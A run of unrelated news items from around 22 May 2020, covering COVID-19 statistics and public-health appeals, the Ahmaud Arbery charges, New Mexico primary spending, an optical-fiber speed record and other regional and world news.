I know this is an age group who they want to be out, they want to be socializing, they want to be with friends  what I would say to that group is please consider that it rests upon your shoulders what happens in the next couple weeks, Whalen said. This is really hard for a lot of people to get their heads around  that what we do today is going to influence what happens in two or more weeks. And it seems nebulous, it seems (like) something you cant really factor in right now, but we have to. We have to.

Special Investigation 147 NY dams are 'unsound,' potentially dangerous Thousands of dams have not been inspected in over 20 years.

We have seen whats happened in other countries when people have taken the words starting to open up more liberally than they should, she continued. When people have said, Oh, well, theyre opening phase one so that means we can go hang out with friends and go out and have parties and do everything that we normally want to do at a time like this and its going to be a beautiful weekend. But there are really terrible consequences that could occur.

While many of the newest cases in the county have been occurring among residents of long-term care facilities, she said, those residents arent getting the virus in a vacuum.

She noted that people in the community get sick and spread it to others who may work in a nursing home, who then carry the virus to those vulnerable populations unwittingly.

So I would urge that group to really be cautious  please take this responsibility seriously, she said.

___

COVID-19 in the Capital Region

Below are the May 22 coronavirus statistics for the Capital Region broken down by county:

Albany County Total cases:

1,619 (+41) Total deaths:

76 (+3) Currently hospitalized:

27 (+2) Recovered:

1,064 (+21) Total tested:

20,233 (+920) Tested positive:

8.7% Columbia County Total cases:

360 (+2) Total deaths:

31 (+2) Currently hospitalized:

17 (+0) Recovered:

188 (+6) Total tested:

3,164 (+78) Tested positive:

11.3% Greene County Total cases:

260 (+1) Total deaths:

18 (+1) Currently hospitalized:

2 (-1) Recovered:

245 (+5) Total tested:

2,196 (+48) Tested positive:

9.8% Rensselaer County Total cases:

486 (+2) Total deaths:

28 (+0) Currently hospitalized:

6 (-1) Recovered:

344 (+5) Total tested:

7,574 (+379) Tested positive:

6.1% Saratoga County Total cases:

444 (+8) Total deaths:

15 (+0) Currently hospitalized:

4 (+0) Recovered:

365 (+7) Total tested:

10,111 (+351) Tested positive:

4.4% Schenectady County Total cases:

630 (+4) Total deaths:

29 (+0) Currently hospitalized:

12 (-1) Recovered:

599 (+2) Total tested:

8,877 (+667) Tested positive:

7.3% Warren County Total cases:

230 (+1) Total deaths:

30 (+0) Currently hospitalized:

2 (+-) Recovered:

144 (+1) Total tested:

3,685 (+234) Tested positive:

6.7% Washington County Total cases:

194 (+2) Total deaths:

13 (+0) Currently hospitalized:

- Recovered:

172 (+0) Total tested:

2,326 (+100) Tested positive:

9.6%

Source: Case data per counties; test data per NY COVID tracker

Note: Number in parentheses is the daily change. Hospitalization data reflects number of residents hospitalized, with the exception of Schenectady County, which includes non-residents who are hospitalized within the county.
Source: Xinhua| 2020-05-22 15:36:31|Editor: huaxia

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BISHKEK, May 22 (Xinhua) -- Kyrgyzstan's Health Ministry on Friday confirmed 37 new COVID-19 cases, raising its total number of infections to 1,350, including 14 deaths and 949 recoveries.

Among the newly infected, three are medical workers, taking the total number of medical workers diagnosed with COVID-19 to 273, Deputy Health Minister Nurbolot Usenbaev said at a daily briefing.

A total of 33 law enforcement officers and 224 medical workers in the country have recovered from COVID-19 so far, he added.

To date, 387 patients have been treated in hospitals throughout the country, including four in intensive care, while 2,150 who have been in close contact with infected patients are under medical observation.

Noting that new cases have been identified among contacts, the minister asked the public to observe rules around hygiene and social distancing.

"We need to change our attitude towards social distance and personal hygiene, especially at a time when economic activity is resuming in the country," he said.

Since May 1, Kyrgyzstan has allowed the reopening of some businesses. Enditem
What just happened? Researchers from the universities of Monash, Swinburne and RMIT in Australia have successfully developed and tested an Internet connection based on a single optical chip that achieved a blistering fast transfer speed of 44.2 terabits per second (Tbps).

According to Science Daily, thats fast enough to download 1,000 high definition movies in a split second and is a new world record for a single optical fiber with a single chip source.

Tests of this type are typically limited to laboratory environments but in this instance, the researchers used 76.6km of dark optical fiber between Monash University's Clayton Campus and RMIT's Melbourne City Campus. They then installed a piece of equipment called a micro-comb that replaces 80 lasers with a single unit capable of mimicking hundreds of high-quality infrared lasers. Each laser is able to be used as an individual communications channel, the publication notes.

Dr. Bill Corcoran, co-lead author on the study and lecturer in electrical and computer systems engineering at Monash University, said the research demonstrates the ability of fibers already in the ground to serve as the backbone of communications networks now and in the future. Weve developed something that is scalable to meet future needs, Corcoran added.

Professor David Moss, director of the optical sciences center at Swinburne University, said that in the 10 years since he co-invented micro-comb chips, they have become an enormously important field of research, adding that micro-combs offer enormous promise for us to meet the world's insatiable demand for bandwidth.

Full details of the research can be found in the latest issue of Nature Communications.

Masthead credit: alexskopje
Source: Xinhua| 2020-05-22 21:11:32|Editor: huaxia

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BEIJING, May 22 (Xinhua) -- China expresses deep regret over the United States' decision to withdraw from the Treaty on Open Skies despite the opposition of the international community, Foreign Ministry Spokesperson Zhao Lijian said Friday.

Zhao made the remarks in response to a question concerning media reports that the United States Thursday said it would withdraw from the Treaty on Open Skies.

The U.S. move is another negative manifestation of its adherence to the Cold War mentality, pursuing "American First" and unilateralism, and breaching of international commitments, Zhao told a press briefing.

"The U.S. move is not conducive to maintaining mutual military trust and transparency among countries in the region, maintaining security and stability in the region concerned, and will also have a negative impact on the international arms control and disarmament processes," he added. Enditem
Copyright  2020 Albuquerque Journal

SANTA FE  The political arm of a New York-based gun control group that pushed for recent background check and temporary firearm seizure laws is spending big bucks on two contested New Mexico Senate primary races.

Specifically, the Everytown for Gun Safety Victory Fund is spending $50,000 on mailers targeting two incumbent Democrats  Gabriel Ramos of Silver City and Clemente Sanchez of Grants  who are facing progressive challengers and voted against the gun measures.

The mailers, which will start hitting the mailboxes of registered Democratic voters in the two districts this weekend, are part of a wave of outside spending on contested legislative races for the June 2 primary election.

Oil companies and environmental groups are also spending big money in this years election cycle.

The Everytown for Gun Safety Action Fund, which is affiliated with former New York Mayor Michael Bloomberg, is no stranger to New Mexico politics, after spending nearly $400,000 in the states 2018 election cycle. That included campaign contributions aimed at helping elect Gov. Michelle Lujan Grisham.

Lujan Grisham campaigned on a gun safety platform, and has signed both the expanded background check requirement and extreme risk order bills into law since taking office in January 2019.

These days, when politicians vote against common sense gun safety bills, its not just bad for public safety, its bad for their political future, John Feinblatt, president of Everytown for Gun Safety, said in a statement. New Mexicans have made it clear they want lawmakers who will stand up for gun safety, and now Everytown is making it clear which candidates pass that test.

Meanwhile, Sanchez and Ramos are among a group of five moderate Senate Democrats who have drawn the ire of progressives for their votes on bills dealing with gun control, abortion, marijuana legalization and early childhood education programs.

Ramos, who was appointed to the Senate last year by Lujan Grisham, is running against Siah Correa Hemphill of Silver City in the Senate District 28 primary race.

And Sanchez, chairman of the Senate Corporations and Transportation Committee, is being challenged by fellow Democrat Pam Cordova of Rio Communities in Senate District 30.

Sanchez said Thursday hes not a gun owner, but has due process concerns about the red flag gun law that, after taking effect this week, allows firearms to be temporarily taken from an individual deemed a danger to themselves or others.

I stand by my record because I know my district, Sanchez told the Journal.

He also said many voters in his largely rural Senate district are fed up with negative mailers sent by outside groups.
A senior woman using a smartphone in her living room. Tanaphot Iamjaro

A woman in the Netherlands has been ordered by a court to delete photographs of her grandchildren from social media in a ruling made under the EU's General Data Protection Regulation. The ruling is the result of a dispute between the grandmother and her daughter, who requested through police that the pictures be taken down. After the former refused to delete the images, the mother of the children escalated the matter to a court in the Dutch province of Gelderland. The grandmother must remove photos that were uploaded to her Facebook and Pinterest accounts within 10 days, the judge said earlier this month, adding she will be fined 50 euros ($55) for every day she fails to comply, up to a maximum penalty of 1,000 euros.

What is GDPR?

Brussels introduced GDPR in May 2018 to give people across the bloc more control over their personal data. The framework gives consumers in the region the power to demand to know how their data is being used and to have the "right to be forgotten"  in other words, the ability to have all data a company stores on them removed.
Jennifer Howlett moderates a candidates forum with Alex Carlisle, top right, and Peter Beck.

Williamstown Planning Board Candidates Meet in League of Women Voters Forum

WILLIAMSTOWN, Mass.  The two candidates for one seat on the Planning Board found a lot of common ground in a forum held last week.

The main point of agreement: The board needs to do a better job of getting buy-in from the town before taking bylaw amendments to town meeting.

"I think it has been said a number of times that town government needs more public input," said Alex Carslisle, who is running as an incumbent after being elected to fill two years of an unexpired term in 2018. "I encourage people to come to the Select Board meetings, to come to the Planning Board meetings and speak their mind because town input is key to figuring out where we're going and what is likely to get approved.

"So often, six months of effort of the Planning Board has been undone once the idea is rolled out because there was a fundamental problem that the Planning Board had not recognized early enough."

His opponent, newcomer Peter Beck, agreed that community wide input is essential and noted that not everyone can attend evening meetings at Town Hall.

"Other people are just sitting down to dinner with their kids right then," Beck said. "Some people can come to a public forum, and other people have trouble getting there. They have access or mobility issues. I think it's important to have these sorts of things, these coffees where people can drop by Tunnel City and meet with their Planning Board.

"But I think it's important to keep pushing that idea forward and be as open and accessible as you can along different channels. Some people are on Facebook, others aren't. Some people need to be reached face to face, others wouldn't want that at all. I think you need to have as many channels open as possible because that's the only way you're going to reach people."

Carlisle and Beck each had a chance to reach voters in a virtual candidates forum hosted by the Williamstown chapter of the League of Women Voters. Jennifer Howlett moderated the hour-long discussion, which was telecast on the town's community access channel, WilliNet, and available on its website.

Howlett asked questions submitted by members of the public that covered a wide range of issues that have come before the Planning Board in recent years.

The pair's answers were short on specific changes the successful candidate might propose to the town's bylaws. Each spent more time emphasizing the analytic approach he would take to questions that might come before the board.

An exception was on the subject of light pollution.

Carlisle, who developed a bylaw proposal currently before the board on the subject, called the question "right in my wheelhouse."

"I don't want to get on my soapbox regarding the lighting bylaw, but the short of it is exterior lighting was not very well tuned, meaning it took more light to create greater visibility," Carlisle said. "Now, we are able technically to create more visibility with less light. And the [proposed] bylaws are meant to reflect that change in our technology.

"There have been any number of studies written about light spill and light trespass that affects not only people's health and circadian rhythms but flora and fauna as well. I think this is something we can change relatively easily to the benefit of everyone. Personally, I like seeing the night sky in Williamstown."

Beck agreed. In fact, early on in the forum, he listed "rural spaces" as one of three things that he would like to preserve about the town. And he noted that improved lighting technology allows warmer, yellower light that is less harsh than earlier generations of LED bulbs.

But Beck also talked about a balancing act in regulating exterior lighting.

"I agree we need to have a rural space where you can see the stars," he said. "It's one of the most special things about night time in the town. But you also can't compromise on the safety of the young people who are walking up and down our roads late at night in the downtown area. They need to be safe. They need to be secure. You need to have lights.

"I think there's a best of both worlds we can have in terms of where lights are and what technology we use."

Not surprisingly, the No. 1 topic of the evening was housing, which was mentioned a couple of dozen times by the two candidates and was directly addressed in one of the questions posed by Howlett.

Both candidates agreed that the town needs more housing diversity.

Beck noted that any proposed changes to the zoning bylaw to allow different types of housing need to be made with an eye toward garnering the two-thirds majority needed for passage.

"That means you have to take those concerns seriously, you have to address those concerns seriously," Beck said. "What are people's concerns with affordable housing? Congestion? We'll take that seriously. Is it the aesthetics of the town? We can take that seriously. There are a lot of ways to manage architectural forms There are a lot of ways to manage parking requirements, off-street requirements, that still allow for more affordable housing development.

"Because we need to see more affordable housing development, but we won't get any of it until enough of us agree, and we won't get enough of us to agree until concerns have been listened to, respected and responded to with a smart plan that gets us more affordable housing in this town."

Carlisle picked up on the phrasing of the question, which asked how the Planning Board can "ensure our affordable housing efforts help those in need and are not misdirected to the benefit of wealthy investment interests?"

"This goes into creating a reasonable bylaw," he said. "The devil is always in the details. And what sounds good, opening a door to affordable housing, may not be a good bylaw if all the details aren't attended to. I've already spoken about ADUs and my standpoint on them."

Last spring, Carlisle was in a minority on the Planning Board when it proposed to the town a bylaw amendment designed to allow more accessory dwelling units on residential properties. The town ultimately passed the measure, which Carlisle criticized in one main respect: It did not limit development to owner-occupied properties, a feature that he said would allow absentee landlords to buy single family homes and create up to three rental units on the same lot.

The rest of his answer touched on the subject of "capital A" affordable housing, or subsidized housing, as opposed to the kind of housing that might be facilitated by zoning bylaw changes.

"As of right now, the Planning Board has few options to help develop affordable housing in town," Carlisle said. "We also have the Williamstown Housing Authority and the Affordable Housing Trust and the Select Board is working on different aspects to open up affordable housing options.

"Personally, the affordable housing issue is a complicated one. And I think one aspect of it we need to work a little harder on is not necessarily developing new housing but ensuring that Williamstown is not losing existing housing. That has been a long-term problem. It's one of the reasons why, even though we've had a population decline, we have a housing crisis."

The town election will be held on June 23 at Williamstown Elementary School. Town officials are encouraging voters to apply for a mail-in (absentee) ballot so that as many votes as possible can be collected before election day, limiting the crowds at the polls to prevent transmission of the novel coronavirus.
If were going to survive this pandemic we need music, more than ever. There is nothing else that can meet us in our heartbreak, elevate our spirits, move us to laughter and let us dream in the way that music can.

I was apprenticed to loss and grief at the age of 17 when my best friend, Brian, died in a car accident on his way home from high school. His uncle, Tom, wrote a beautiful song called Lake Michigan (for Brian) soon after that carries the lines, Hear the sun, hiss into the lake; Hear my heart, feels like its gonna break. That song spoke for me when I could find no words. It knew my heart better than I did. It didnt try to pull me out, it met me where I was.

Music saved me from drowning in my grief, a buoy that kept me afloat in those dark waters. We are all feeling individual and collective grief for all the losses that Covid-19 has brought: lives, health, plans, rhythms, connection. The path through grief is mourning, and its music that can meet us on the path and help us keep walking.

As a hospice chaplain and former intensive care unit and palliative care chaplain, Ive been at the bedsides of the dying for many years, with music often holding the space when all else has failed. The deepest sense of transcendence Ive encountered has been at the times spent listening to the music families put on as they hold vigil. Together, we have heard the rhythms of the patients breath meld into the rhythms of the music. Sometime I sing, sometimes I listen. Every time I bow in reverence and wonder.
DAY OF THE OUTLAW (93 minutes) PG

Andre de Toth's incredibly bleak 1959 offering looks and feels nothing like a conventional Western but his deep-focus style, in widescreen black and white, has its own stark force. Robert Ryan is the self-loathing anti-hero, who goes up against a band of desperadoes (led by Burl Ives) when they take over a snowed-in Western town. Tubi

OUR LADY OF THE TURKS (122 minutes) Unrated

A film by the late Italian wild man Carmelo Bene is an immersive experience - lush, savage, and completely unpredictable. Based on his own novel and stage play, his 1968 first feature casts him as a clownish decadent who shares something with Don Quixote  but dont expect anything resembling a linear plot. Amazon Prime

THE ADDICTION (82 minutes) R
Baker Hughes reported on Friday that the number of oil and gas rigs in the US fell again this week by 21, falling to 318, with the total oil and gas rigs sitting at 665 fewer than this time last yeara more than 67% drop off in a single year.

The number of oil rigs decreased for the week by 21 rigs, according to Baker Hughes data, bringing the total to 237a 560-rig loss year over year. It is the fewest number of active oil rigs in play since mid-2009.

The total number of active gas rigs in the United States held at 79 according to the report. This compares to 186 rigs a year ago.

The significant fall in the rig count over the last couple of months is also reflected in the EIAs estimate for oil production in the United States, which fell again this week to 11.5 million barrels of oil per day on average for week ending May 15, which is 1.6 million bpd off the all-time high and 100,000 bpd lower than the week prior. It is the seventh straight weekly production decline.

Canadas overall rig count decreased by 2 rigs this week, to 21 rigs. Oil and gas rigs in Canada are now down 57 year on year.

At 12:08 pm, WTI was trading down 2.92% at $32.93. Although down on the day this is nearly $4 up week over week. The Brent benchmark was trading down 3.22% at $34.90 on the day, but up nearly $3 per barrel week over week. The price dip on Friday is courtesy of market fears after China on Friday did not release annual economic outlook as was expected.

By Julianne Geiger for Oilprice.com

More Top Reads From Oilprice.com:
Russia Ready to Sell Abroad New Radar Locator Detecting Hypersonic Targets - Defense Exports Agency

Sputnik News

09:13 GMT 21.05.2020

MOSCOW (Sputnik) - Russia's state intermediary agency for defence exports, Rosoboronexport (part of Rostec Corporation), said on Thursday it was ready to sell abroad a new radar locator, capable of detecting hypersonic targets.

"Today, Rosoboronexport launches to the [international] market a new radar locator, capable of efficiently detecting a wide range of modern and prospective air targets, including hypersonic targets," Rosoboronexport Director General Alexander Mikheev said, as quoted by his press service.

Mikheev expressed the belief that the radar locator would be in demand in the Asia-Pacific region, the Middle East and North Africa.

Last week, President Donald Trump announced that the US is developing a state-of-the-art hypersonic missile that he stressed should be superior to those currently created by Russia and China.

Earlier, the US administration requested at least $3.2 billion in funding for hypersonic weapons development programmes in the next fiscal year, an increase of almost $500 million from 2020.

This came as the US withdrew from the Intermediate-Range Nuclear Forces Treaty (INF) Treaty in August 2019 after formally suspending its INF obligations in February that year and triggering a six-month withdrawal process.

A Sputnik

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The Pride Festival of Central Pa. scheduled for July 25 has been canceled because of the coronavirus pandemic.

Organizers announced the cancellation today on Facebook.

"This agonizing decision was made after many hours of spirited discussion and in close consultation with the Pennsylvania Capitol Facilities Management Office, the Office of the Governor, Tom Wolf and our superhero, Dr. Rachel Levine, Secretary of Health for the Commonwealth of Pennsylvania.

Safety has always been one of our organizations bedrock principles; given the current magnitude of the COVID-19 pandemic and the difficulty practicing social distancing at large scale events such as ours poses, we overwhelmingly feel the only way to adequately protect our patrons, vendors, staff and entertainers from the virus is to sacrifice this years festival."

Pride Festival has been held in Harrisburg annually since 1992 to provide a safe environment for people of the Lesbian, Gay, Bisexual and Transgender (LGBT+) and straight ally community to express and celebrate their diversity emphasizing acceptance of all individuals regardless of sexual orientation, gender identity or gender expression.

Brad Martin, president of the Pride Festival, said although the group was able to successfully move the festival once from the riverfront to the Capitol grounds with only 48 hours notice, "... theres just no way to safely host this years festival. Pride is a joyful socially close intense experience. Pride isnt pride without that. As theres no end to social distancing anytime soon that we can see, we felt this years festival was untenable.

The 2021 Pride Festival will be held on Saturday, July 24, at the Capitol in Soldiers Grove Park. Vendors have been given the choice of having their fees refunded or to apply payment to the 2021 event.

READ MORE

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Source: Xinhua| 2020-05-22 18:42:00|Editor: huaxia

Video Player Close

KUALA LUMPUR, May 22 (Xinhua) -- Malaysian Prime Minister Muhyiddin Yassin will observe a 14-day home quarantine after an official who attended a recent meeting he chaired tested positive for COVID-19, the Prime Minister's Office said in a statement on Friday.

Muhyiddin himself has been tested and the result went back negative for COVID-19, according to the statement.

All other officials who attended the meeting are instructed to be tested and to observe home quarantine for a period of 14 days, it said. Enditem
Washington, May 22 : A third man, who filmed the shooting of an unarmed African-American jogger in the US state of Georgia, has been charged with murder.

William Bryan Jr was also accused of a criminal attempt to commit false imprisonment on Thursday, the BBC quoted the Georgia Bureau of Investigations (GBI) as saying.

Ahmaud Arbery, 25, was jogging when he was shot dead during a confrontation with a father and son in Brunswick on February 23.

Gregory McMichael and son Travis were charged with murder on May 7.

In the moments before the fatal confrontation, the McMichaels, who are white, armed themselves with a pistol and shotgun and pursued Arbery in a pickup truck in the Satilla Shores neighbourhood.

Gregory McMichael told police he believed that Arbery resembled the suspect in a series of local break-ins.

Bryan's 36-second video leaked online on May 5, generating nationwide outcry that was swiftly followed by murder charges.

It was filmed by Bryan from his vehicle while he was driving behind Arbery, reports the BBC.

The clip appears to show Arbery running down a tree-lined street as the McMichaels wait ahead for him in their vehicle.

A tussle follows and Travis McMichael appears to fire a gun at point blank range at Arbery, who falls to the street.

The Arbery family welcomed Thursday's arrest, with their lawyer Lee Merritt saying Bryan's alleged involvement in the killing "was obvious to us, many around the country and after their thorough investigation, it was clear to the GBI as well".

Bryan is expected to be booked into the Glynn County jail, where the McMichaels are also being kept as they await trial.
South Africa: Keeping persons with disabilities safe during COVID-19

Minister in the Presidency for Women, Youth and Persons with Disabilities, Maite Nkoana-Mashabane, has appealed to South Africans to create a partnership that can work towards the protection and safety of persons with disabilities.

Nkoana-Mashabane made this special appeal during a webinar focusing on upholding the rights of persons with disabilities hosted by the department on Friday.

Held under the theme, Persons with Disabilities and COVID-19 South Africa, the webinar aimed to conduct an interface dialogue as a direct result of the disability specific interventions undertaken by government across services and infrastructure within the COVID-19 government and civil society responses.

In her address, Nkoana-Mashabane pointed out a need for government to put persons with disabilities at the centre of its response to COVID-19.

Persons with disabilities are more likely to be affected by poverty, experience higher rate of violence, neglect and abuse during this time. All recovering effort needs to include engagement and consultation with the sector, Nkoana-Mashabane said.

The Minister also stressed the importance of allowing persons with disabilities to have a voice in all decision making processes that directly affects them.

She said the department will utilise the vulnerable experience offers by persons with disabilities in order to be applied during COVID-19 and the lockdown period.

I believe that looking to the future we have a unique opportunity to define and implement more inclusive and accessible society to achieve the Sustainable Development Goals (SDGs). When we secure the right of persons with disabilities, we are investing in our common teaches [and] we can make sure that we leave no one behind, working together, the Minister said.

Nkoana-Mashabane said that she believed that government interventions, the policy and legislation which included the implementation of reasonable accommodation measures for the protection and safety of persons with disabilities during the national state of disaster, may go beyond the duration of lockdown period.

The key intervention, she said, includes the provision of services access to information and communication, provision of essential good such as sanitary pads, protective equipment, and food parcels in various sectors across the country.

The Minister said she has instructed employees within the department to ensure proper and immediate consultation with persons with disabilities, when it is necessary.

Accurate data

Deputy Minister Hlengiwe Mkhize noted a need for an accurate, aggregate, and localised data progress for persons with disabilities on different aspects.

Once we have accurate data, we can, for instance, look at our education system and say that it has completely opened its doors of learning, each and every child is at school at the right age of entry, teachers are equipped to manage and support each learner, and a learner has a right assistance budget.

However, Mkhize added that if access to the school building and scholar transport is still a challenge, then the department will need to isolate stumbling blocks.  SAnews.gov.za

This story has been published on: 2020-05-22. To contact the author, please use the contact details within the article.
22.05.2020 LISTEN

The impact of the Corona Virus Disease, 2019 (COVID-19) was not significant on the performance of the Mobile Telecommunications Network (MTN) Group during the first quarter of the year ended 31 March 2020.

According to Robb Shutter, MTN Group President and Chief Executive Officer (CEO), the first quarter financial results for the year ended March 31, 2020 recorded a positive service revenue trajectory.

Mr Shutter said MTN continued to build commercial momentum, adding 6.6 million subscribers in the quarter, with active data users increasing by .9 million and Mobile Money (MoMo) subscribers by 0.4 million.

He said MTN also continued to scale its Ayoba platform, recording 2.6 million monthly active users and accelerated its MoMo agency network in Nigeria, under the Groups super-agent licence, adding 70 000 agents in the first quarter, bringing the total number of registered agents to 178 000.

On strategic progress, he said the digital business returned to growth, booking 15.6% in the quarter, while in MTN South Africa (SA), the enterprise business recorded its second quarter of growth.

Mr Shutter disclosed that in May 2020, the MTN Group commenced phase two (2) of the national roaming agreement with Cell C and looked forward to a continued partnership.

For the first quarter, he said, MTN delivered a solid performance, increasing constant currency service revenue by 11.1% and EBITDA by 15.6% with EBITDA margin improving by 2.1pp to 43.2%, in line with medium-term targets.

He disclosed that the group recorded voice, data and fintech revenue growth of 6.3%, 26.4% and 26.0%, respectively, with digital revenue returning to growth, increasing by 15,6%, adding that the Group continued to execute on its strategic objectives and progress towards becoming a digital operator.

Mr Shutter noted that the COVID-19 situation was an evolving one and would undoubtedly impact the year ahead.

He said given the uncertainties associated with the duration and economic impact of the pandemic, it was difficult to reliably quantify the direct and indirect financial impacts on the business at this early stage and gave the assurance that the group would continue to focus on business continuity and efficiency, and that strict measures had been implemented to preserve resources and strengthen its resilience.

The Group President and CEO said the Group remained focussed on delivering its key priorities looking after our people, our customers and our networks while focusing on efficiencies in these difficult times of COVID-19.

For our people, the immediate priority is their health and safety, where the work-from-home programmes across our markets empower our staff to work remotely while ensuring continuity in our operations. For our customers, we have ramped up our digital channels as a service alternative, to enable them to continue purchasing airtime and accessing our products and services seamlessly as well as launching Yello Hope Packages in most of our markets, Mr Shutter said, adding that various initiatives of the Group supported governments across its markets with communication systems and connectivity as the Group played its part to help minimise the economic and social impact.

On his part, MTN Group Chief Financial Officer (CFO), Ralph Mupita, expressed satisfaction with the service revenue growth of 11.1% which, he said, was achieved on a constant currency basis, translating to 16.5% on a reported basis.

Mr Mupita noted that good cost control across the group supported the increase in group EBITDA margins, with a particular strong performance from MTN Ghana, adding that notwithstanding the impact of COVID-19 in the first quarter, the balance sheet remained resilient, with cash and committed undrawn facilities approximately R45 billion at the holding company level, providing sufficient liquidity during these uncertain and unprecedented times.

Looking ahead, he said the current environment was marked by significant uncertainties and that it was still too early to assess the economic impact of the pandemic on customers and reliably quantify the direct or indirect financial effects on the companys business , adding that the remainder of the year would be shaped by the ramifications of the pandemic and that all stakeholders would to be regularly updated on the effects as they became clearer.

Mr Mupita said MNT would not focus only on managing the risks brought about by COVID-19, but also on the opportunities it was creating in the accelerated digitalization it has brought about.

He said the Group was well-positioned as a company to benefit from the evolution, especially given its focus on growth in data, digital and financial services businesses and remained focused on the execution of its BRIGHT strategy to deliver sustainable growth in its operations and value to all stakeholders.
President Donald Trump arrives to speak during a visit at the Ford Rawsonville Components Plant, which is making ventilators and medical supplies, during CCP virus pandemic in Ypsilanti, Michigan, on May 21, 2020. (Leah Millis/Reuters)

Trump Wants US to Be Worlds Number One Medical Manufacturer

President Donald Trump on Thursday said he wanted the United States to be the worlds number one medical manufacturer, as he encouraged the reopening of America and praised automaker Ford during a visit to one of its plants in Michigan.

Trump visited Ypsilanti, outside Detroit, to tour a Ford plant that has partly converted to manufacturing ventilators and personal protective equipment (PPE) amid the pandemic caused by the CCP (Chinese Communist Party) virus, a novel coronavirus from Wuhan, China. Earlier in the day, Trump held a roundtable discussion with African American leaders to talk about vulnerable populations hit by the CCP virus.

Today, Im declaring a simple but vital national goal: The United States will be the worlds premier pharmacy, drugstore, and medical manufacturer, the president said in a speech at the plant. Were bringing our medicines back and many other things too.

We must produce critical equipment, supplies, pharmaceuticals, technologies for ourselves, Trump added. We cannot rely on foreign nations to take care of us, especially in times of difficulty.

President Donald Trump poses with a protective face shield that was handed to him during a tour at the Ford Rawsonville Components Plant, which is making ventilators and medical supplies, during the CCP virus pandemic in Ypsilanti, Michigan, on May 21, 2020. (Leah Millis/Reuters)

Trump said that the global CCP virus pandemic has proven once and for all that to be a strong nation, America must be a manufacturing nation.

True national independence requires economic independence, Trump said. From day one, Ive been fighting to bring back our jobs from China and many other countries.

At the Ford plant, the president praised the company for its hard work, patriotism, and talent in manufacturing ventilators and PPE for medical personnel and first responders.

Because of the virus, Ford was forced to stop automobile production for the first time since World War Two, Trump said. Thats something. But you did not despair. Your company leadership called up the White House and asked the most American of all questions: How can we help?'

The United States is now, in part thanks to Fords effort, in a position to help other countries with ventilators and other equipment, Trump said.

Thanks to you, well stockpile over 100,000 new ventilators in the next few months, he said. And Ive offered over 14,000 [ventilators] to friends and allies all around the world, and they desperately need them. Just this week, I spoke to five countries. They call meis it possible to get ventilators to them. And Im sending them over.

President Donald Trump walks past a mobile test vehicle as he arrives to speak during a visit at the Ford Rawsonville Components Plant, after it reopened from the CCP virus restrictions in Ypsilanti, Michigan, on May 21, 2020. (Leah Millis/Reuters)

America is very proud of Ford. Right here at the Rawsonville Component Plant, youre building a great medical arsenal to defeat the virus and cement Americas place as the leading manufacturer and exporter of ventilators anywhere in the world, Trump said.

Ford in late March said it planned to start production of some 50,000 ventilators on April 20 and was set to deploy 500 United Auto Workers (UAW) union employees.

Trump praised multiple automakers including Ford, General Motors, General Electric, and Fiat Chrysler, for blazing a trail to safely restart Americas economic engines, and continued to call for a reopening of America.

You are demonstrating that we can open our country while taking precautions like social distancing, daily medical screenings, strict hygiene, he said.

President Donald Trump looks at a display of protective wear while touring the Ford Rawsonville Components Plant, which is making ventilators and medical supplies, during the CCP virus pandemic in Ypsilanti, Michigan, on May 21, 2020. (Leah Millis/Reuters)

Gary Brabant, a technician at the plant, said that he was initially anxious when called to work at the plant but was promptly reassured.

I didnt want to get sick or take it home to my family. However, upon arriving here on the first day, I felt safe due to the new policies and procedures put forth by our UAW health and safety team, Brabant said. Its a great feeling to know everything we are doing here and each assembly we make is saving somebodys life.

Ford started resuming operations in the United States on May 18, which includes restarting vehicle production at key plants and bringing back about 12,000 employees who are not able to do their jobs off-site.

Trump said that the United States wasnt meant to be shut down, and earlier told reporters that he believed states have to start opening up.

A never-ending lockdown would invite a public health calamity. To protect the health of our people, we must have a functioning economy, Trump told reporters.

Americans who need and want to return to work should not be vilified; they should be supported, he later added. Unlike many politicians and journalists, for those who earn a living with their own two hands, working remotely is just not an option. You dont have the option of doing that. Our plan emphasizes safety and protection for returning employees.

Read More US Auto Industry Returns to Life After Lockdown
The Greek police have detained a group of 9 Georgian citizens, including one woman, for the creation of criminal groups and house robberies in Athens.



According to local media reports, Greek law enforcements had been monitoring the suspects for three years. They robbed 31 houses in Athens.



The Greek police say that the members of the criminal group received information about the houses mainly from domestic workers.



The investigation found that the detainees had a skeleton key that made it easy to open locked doors.



Police seized three cars, jewellery, cell phones, computers and cash (about $6,500), Agenda.ge reported.
Vietnams agriculture ministry has urged authorities in provinces bordering China to take preventative measures against the spread of decapod iridescent virus 1, an emerging threat to the Vietnamese shrimp industry.

In a recent official letter, the Vietnamese Ministry of Agriculture and Rural Development cited the Network of Aquaculture Centers in Asia-Pacific as saying that the new virus has wreaked havoc on Chinas shrimp industry in recent years.

The virus was first detected as early as 2014 from red claw crayfish, or Cherax quadricarinatus samples in the Chinese province of Fujian.

The disease has also occurred in farmed white leg shrimp Penaeus vannamei from Zhejiang Province and giant freshwater prawn Macrobrachium rosenbergii in some other Chinese provinces.

In February this year, the disease was reported to have affected about a quarter of the area for shrimp production in the Chinese province of Guangdong.

The Vietnamese agriculture ministry said the virus can infect all kinds of shrimp and has been observed to affect the Pacific white shrimp, crayfish, and giant freshwater prawn.

However, the disease has yet to be detected in Vietnam, according to the ministry.

For the sake of disease prevention and control, the ministry suggested the National Steering Committee against Smuggling, Trade Fraud and Counterfeit Goods instruct its grassroots units in those provinces bordering China to take measures against the illegal import, transport, and sale of shrimp seeds, prawns, and fresh feed for seafood.

Violators will be subject to stiff penalties, said the ministry.

Provincial authorities, police officers, border guards, and market surveillance officials are expected to join the efforts against the spread of the shrimp disease.

Vietnams shrimp exports logged a mere 1.8 percent year-on-year rise to US$628.6 million in the first three months of this year, according to the Vietnam Association of Seafood Exporters and Producers.

China, Japan, and the United States were the three major consumers of Vietnamese shrimp products in the first quarter.

Vietnamese shrimp shipments to the United States grew 18.2 percent year on year to $115.5 million, amid disruptions as a result of the novel coronavirus disease (COVID-19) pandemic.

Like us on Facebook or follow us on Twitter to get the latest news about Vietnam!
In the current century, easily one of the most politically unstable nations afflicted with continuing grave fratricidal violence -- hapless Afghanistan -- appears to have just felt a rare ray of hope. With Afghan President Ashraf Ghani and his chief rival Abdullah Abdullah having, for the moment, sunk their differences to jointly talk with the Taliban rebels, there is a glimmer of hope  of a promising and welcome turn to the rollercoaster ride of violent Afghan politics. This agreement was a result of many months of prodding by middle-of-the-road Afghan political leaders, especially former Afghan President Hamid Karzai.

